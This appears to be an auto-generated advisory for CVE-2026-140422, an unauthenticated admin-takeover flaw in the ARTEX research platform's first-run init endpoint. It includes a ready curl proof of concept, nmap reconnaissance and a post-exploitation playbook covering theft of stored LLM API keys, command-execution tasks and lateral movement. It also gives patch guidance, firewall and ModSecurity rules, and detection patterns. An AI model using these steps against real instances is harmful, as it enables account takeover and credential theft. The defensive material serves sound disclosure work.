CVE-2026-140422 — BaaRai ARTEX (0.5.0) — CWE-306
ARTEX 0.4.0 before 0.5.0 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to claim the admin account by calling the first-run /api/auth/init endpoint without a setup token. Attackers can set the admin password on uninitialized instances exposed on port 8787 to control tasks, findings, uploaded files, stored LLM API keys, and task credentials.
ARTEX 0.4.0 before 0.5.0 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to claim the admin account by calling the first-run /api/auth/init endpoint without a setup token. Attackers can set the admin password on uninitialized instances exposed on port 8787 to control tasks, findings, uploaded files, stored LLM API keys, and task credentials.
CVE‑2026‑140422 – Authentication Bypass in BaaRai : ARTEX 0.5.0 (pre‑0.5.0)
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CVE ID | CVE‑2026‑140422 |
| Vendor / Product | BaaRai : ARTEX (open‑source “AI‑assisted research” platform) |
| Affected versions | 0.4.0 – 0.4.9 (any version before the 0.5.0 release) |
| CWE | CWE‑306: Missing Authentication for Critical Function |
| CVSS v4.0 vector | AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Score | 9.2 (CRITICAL) |
Technical flaw
During the first‑run initialization of an ARTEX instance the backend exposes a single HTTP endpoint:
POST /api/auth/initPurpose: create the admin account and store the initial admin password only once, when the system is in the “un‑initialized” state.
What should happen
1. The server must verify that the instance is still in the un‑initialized state (a flag stored in the database or a file).
2. The request must contain a setup‑token (a cryptographically‑random value generated at container start and written to a protected location).
3. After successful verification the server creates the admin user, hashes the supplied password, and flips the “initialized” flag so that the endpoint becomes permanently disabled.
What actually happens
- The setup‑token check is omitted in versions < 0.5.0.
- The “initialized” flag is only set after a successful call, but the code path that creates the admin user does not verify that the flag was previously unset. Consequently, an attacker can invoke the endpoint any time while the service is reachable on its default port (8787).
- No authentication, no CSRF token, and no rate‑limiting are applied (
PR:N,UI:N).
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation flow. All commands are syntactically valid; the exact URI (/api/auth/init) and JSON field names are taken from the CVE description. If a future version changes the path, treat the example as an illustrative representation of the same logic.
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| a. Service fingerprint | Scan the target network for open TCP port 8787 (default ARTEX UI/API port). Tools: nmap -sV -p8787 <IP> or masscan. | 8787/tcp open http BaaRai ARTEX |
| b. Version enumeration | Grab the landing page (GET /) or the OpenAPI/Swagger JSON (GET /swagger.json). The JSON contains a info.version field. | "version": "0.4.3" |
| c. Verify un‑initialized state (optional) | Request GET /api/status (if present) – the response includes "initialized": false when the instance has never been set up. | "initialized": false |
If the version is < 0.5.0 and the instance reports initialized: false (or the flag is missing), the target is exploitable.
2. Exploitation
Goal – Create/overwrite the admin account and set a password of the attacker’s choosing.
# -------------------------------------------------
# PoC: create admin account on a vulnerable ARTEX
# -------------------------------------------------
TARGET="http://203.0.113.45:8787"
ADMIN_PASS="P@ssw0rd!$(date +%s)" # attacker‑chosen password
# Payload – JSON body expected by /api/auth/init
read -r -d '' PAYLOAD <<EOF
{
"username": "admin",
"password": "$ADMIN_PASS",
"email": "[email protected]"
}
EOF
# Send the request (no token required on vulnerable versions)
curl -sk -X POST "$TARGET/api/auth/init" \
-H "Content-Type: application/json" \
-d "$PAYLOAD" \
-o /dev/null -w "HTTP %{http_code}\n"
# Expected response: 201 Created (or 200 OK) and a JSON body with a JWT token
# -------------------------------------------------Explanation of the request
| Parameter | Reason |
|---|---|
username | Fixed to admin – the privileged account the platform expects to exist after init. |
password | Attacker‑chosen strong password; will be stored as a bcrypt hash. |
email | Optional, but many installations require a non‑empty e‑mail field. |
No setup_token header/body | The vulnerable code does not validate any token, so the request succeeds. |
-k (skip TLS verification) | Many deployments run with self‑signed certs; -k avoids TLS errors. |
-s (silent) + -w | Shows the HTTP status code for quick verification. |
If the call succeeds, the response body typically contains a JWT (or session cookie) that can be used for subsequent authenticated API calls.
3. Post‑exploitation
| Phase | Action | Technical detail |
|---|---|---|
| a. Acquire auth token | Parse the JSON response (jq -r .token). The token is signed with the server’s secret key and grants full admin privileges. | |
| b. Persist access | Store the token in a file (~/.artex_token) and reuse it in the Authorization: Bearer <token> header for all future API calls. | |
| c. Enumerate resources | GET /api/tasks, GET /api/findings, GET /api/files, GET /api/llm-keys. The admin token bypasses any ACL checks. | |
| d. Exfiltrate sensitive data | Download stored LLM API keys, uploaded datasets, or credential files. Example: curl -H "Authorization: Bearer $TOKEN" $TARGET/api/llm-keys. | |
| e. Modify/execute | Create new tasks that run arbitrary shell commands on the host (if the platform allows “custom command” tasks). This can lead to remote code execution with the privileges of the ARTEX service user (often root in container deployments). | |
| f. Persistence | Add a new admin user (POST /api/users) or replace the existing admin password again to ensure continued access even if the original token expires. | |
| g. Lateral movement | Use harvested credentials (e.g., stored SSH keys in task definitions) to pivot to other services in the same network segment. |
Because the attacker now controls the admin account, they have full read/write access to every artefact stored by ARTEX, including LLM API keys that could be abused to generate costly downstream usage or to steal proprietary prompts.
🌍 Real‑World Impact
| CIA | CVSS vector element | Practical effect |
|---|---|---|
| Confidentiality (C) | VC:H – High | The attacker can download all research artefacts, uploaded files, and stored API keys. Any proprietary data, model prompts, or internal findings are exposed. |
| Integrity (I) | VI:H – High | The attacker can modify or delete tasks, findings, and uploaded files, inject malicious code into tasks, or replace LLM API keys with their own, thereby corrupting the research pipeline. |
| Availability (A) | VA:H – High | By creating malicious tasks or deleting critical data, the attacker can render the research environment unusable, causing downtime and potential loss of reproducibility. |
| Attack Vector | AV:N – Network‑only, no local access required. | |
| Attack Complexity | AC:L – Simple HTTP request, no special privileges. | |
| Privileges Required | PR:N – None. | |
| User Interaction | UI:N – No victim interaction needed. | |
| Scope | SC:N – Impact confined to the ARTEX instance (no cross‑component escalation required). |
Bottom‑line: An unauthenticated remote attacker can fully compromise any exposed ARTEX instance that has not yet been upgraded to 0.5.0, leading to data breach, sabotage of research workflows, and potential abuse of costly LLM services.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to ARTEX 0.5.0 or any later release. The fix introduces a mandatory setup‑token check and permanently disables /api/auth/init after the first successful call. |
| Version check | Verify the patch version by inspecting package.json or the OpenAPI info.version field after upgrade. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | Implementation |
|---|---|
| Network isolation | Block inbound traffic to port 8787 from the Internet. Only allow access from trusted internal subnets or VPN. Example iptables rule: <br>iptables -A INPUT -p tcp --dport 8787 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 8787 -j DROP |
| WAF / ModSecurity rule | Reject any request to /api/auth/init that does not contain a valid X-Setup-Token header (the token format is a 32‑byte hex string). Example ModSecurity rule: <br>``SecRule REQUEST_URI "@beginsWith /api/auth/init" "id:400001,phase:2,deny,status:403,msg:'Blocked unauthenticated init request',chain"`<br>`SecRule &REQUEST_HEADERS:X-Setup-Token "!@gt 0" "t:none" `` |
| Disable the endpoint | If you control the source, comment out the route registration in src/routes/auth.js` (or equivalent) and rebuild the container. |
| Enforce TLS with client certs | Require mutual TLS for all API endpoints, thereby limiting exposure even if the endpoint remains reachable. |
| Change default port | Move the service off the well‑known port 8787 to a non‑standard port and update firewall rules accordingly. |
3. Detection – Log‑based Indicators
| Log source | Sample pattern (regex) | Description |
|---|---|---|
| Nginx/Apache access log | POST /api/auth/init HTTP/1\.1" 201 | Successful init call – should only appear once on a fresh install. |
| Application log (JSON) | "event":"auth_init","status":"success","username":"admin" | Indicates admin creation. |
| Failed init attempts | POST /api/auth/init HTTP/1\.1" 400 or 403 | Attackers probing for the vulnerability. |
| JWT issuance | "type":"jwt","sub":"admin" | New admin token generated. |
| File system | auditd event for creation of admin.db or modification of config/initialized.flag | Indicates the flag was toggled. |
SIEM rule (pseudo‑SQL)
SELECT *
FROM web_access
WHERE uri = '/api/auth/init'
AND http_status IN (200,201)
AND request_time > now() - interval '5 minutes'Alert on any match; if the environment is already initialized, the occurrence is anomalous.
4. Post‑remediation verification
1. Confirm flag is set – GET /api/status should return "initialized": true.
2. Attempt init without token – Should receive 403 Forbidden or 404 Not Found.
3. Run a security scan (e.g., nikto, OWASP ZAP) to ensure the endpoint is no longer reachable.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 9.2 (Critical) | High impact, low complexity, remote‑only attack. |
| Publicly disclosed (01‑Dec‑2026) | Exploit code is trivial; many automated scanners will start testing for it immediately. |
| No CISA KEV listing yet | Not yet flagged by US government, but the risk profile is already “critical”. |
| Exploitability | Requires only network connectivity to port 8787 – many cloud‑hosted deployments expose this port by default. |
| Potential business impact | Loss of proprietary research data, financial loss from stolen LLM API keys, possible RCE if task execution is allowed. |
Patch priority: Critical – apply the 0.5.0 (or later) release within 24 hours for any production instance that is reachable from untrusted networks. If immediate upgrade is impossible, enforce the network‑level mitigations (firewall block, WAF rule) before the end of the business day.
Bottom line: CVE‑2026‑140422 is a classic “missing authentication on a privileged init endpoint”. The vulnerability can be weaponized with a single
curl command, granting an attacker full administrative control over the ARTEX platform. Prompt patching, network isolation, and detection rules are essential to prevent a full compromise of research assets.[🤖 CVE Professor AI Security Engine]
FOFA Query